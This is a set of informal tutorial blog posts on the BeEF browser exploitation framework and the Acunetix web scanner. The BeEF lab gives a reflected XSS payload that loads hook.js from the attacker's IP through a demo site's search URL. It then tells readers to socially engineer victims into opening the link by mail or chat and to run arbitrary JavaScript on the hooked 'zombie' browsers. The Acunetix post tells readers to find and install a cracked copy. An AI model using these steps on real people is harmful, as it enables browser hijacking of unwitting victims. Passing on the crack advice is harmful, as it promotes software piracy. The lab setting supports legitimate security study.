BeEF Lab

Hello friends

we seen how to start and test BeEF in the previous post. Now in this post we will be seeing how to work with XSS Vulnerability by using BeEF Framework.

Lab Setting:

1.XP Virtual Machine (Victim)
2.Backtrack VM (Attacker)

Attacker:

1.Start BeEF in the Backtrack.

Now we will get the UI URL and the HOOK URL

2.Open the browser (any browser but firefox is preferable)

3.Copy the UI URL from the terminal and paste it in a URL of a browser http://192.168.0.103:3000/ui/panel

4.Now you will get the login screen of beef

5.Enter the username and password as beef/beef

6.Take any site that is vulnerable to xss ex: demo.testfire.net

7.Check for the cross site scripting vulnerability with simple script <script>alert(123);</script>

8.paste that script in the search box of demo.testfire.net

9.See if you are getting the pop up box or not

10.see the URL in the website http://demo.testfire.net/search.aspx?txtSearch=<script>alert(123);</script>

11.Frame the URL with like this <script src=http://192.168.0.103:3000/hook.js></script>

http://demo.testfire.net/search.aspx?txtSearch=<script src=http://192.168.0.103:3000/hook.js></script>

12.perform some social engineering to send the link to victim by using the mail or chat

Victim:

1.Now victim open the link the attacker sended nothing changed, the page is as usual

Attacker:

when ever the victim opens that link check in the beef user interface

the beef will create a zombie of victim system

click on the zombie which created

Go to the Commands tab --> Misc --> Raw javascript --> Execute

and see in the victim machine i.e,XP

now u can execute what ever the commands u want on the victim machine.

in the next post i will show how to integrate the metasploit with the beef framework

thank u

BeEF - Browser Exploitation Framework

BeEF is the Browser Exploitation Framework. The BeEF is an powerful security Framework. It Mainly focuses on the browser based exploits.



If you want to see the real exploitaiton with the XSS(Cross Site Scripting) the beef can be good one. By using Beef we can see what we can do with the XSS Vulnerability.

How to start with BEEF

In Backtrack Beef is already there but before that you have to install it once

Applications --> Backtrack --> Exploitation Tools --> Social Engineering Tools --> Beef XSS Framework --> Beef installer

You will be getting this screen

Applications --> Backtrack --> Exploitation Tools --> Social Engineering Tools --> Beef XSS Framework --> Beef

Dont close this terminal place like that only

The default username/password is beef/beef

Copy the UI URL and paste that in the Attacker Browser

and we will get an beef authentication page

the username and password is beef/beef

After login we will get this page

For checking

http://192.168.0.107:3000/demos/basic.html

Just place this in another tab

and see in the hooked browser section

after that we will get all the details of the hooked browser and we can execute the scripts

In the next article we will see how to exploit the XSS Vulnerability using BeEF Framework

Acunetix

Hello Friends today we are seeing the popular web application scanner called Acunetix,

The Acunetix is one of the best web application scanners,

we are having a lot of other scanners like

IBM Appscan,

Acunetix

HPWeb Inspect

Netsparker

W3af

In this only the w3af is the opensource web application scanner that is freely available with the Backtrack 5

comming to the Acunetix here i am showing the Acunetix version 7 and how to install and use it

go and search the google for the Acunetix version 7 and crack

after that install the accunetix and crack

Now we will start scan a website and search for vulnerabilities

First go to New Scan ->

you will be getting this screen

The scan type you have to enter

we are having different scan types like

1.want to scan for single URL

2.you can the crawled results for scanning

3.Want to scan for more than one URL, then we have to give it in a file and provide it as input

now we are scanning a single URL

I am taking an URL http://www.testasp.vulnweb.com

just click on next we can check our website is running or not

we will get the banner of the server like Server Operationg System and web server and language used to develop the website etc..

then the scanner asks for the crawling options see each and every option and check the box

Now when we click on next scan options will be there

we are having three types of scan options

1.Quick

2.Heuristic

3.Extensive

The Quick scan will wont give much correct results

The Extensive will take a lot of time to scan

so we will go for the Heuristic scan

Then it will show the final screen and we will go for scanning

Then Scanning starts

Then Happy Scanning

In my next post i will show how to test for the vulnerabilities using the Accunetix

Good Bye
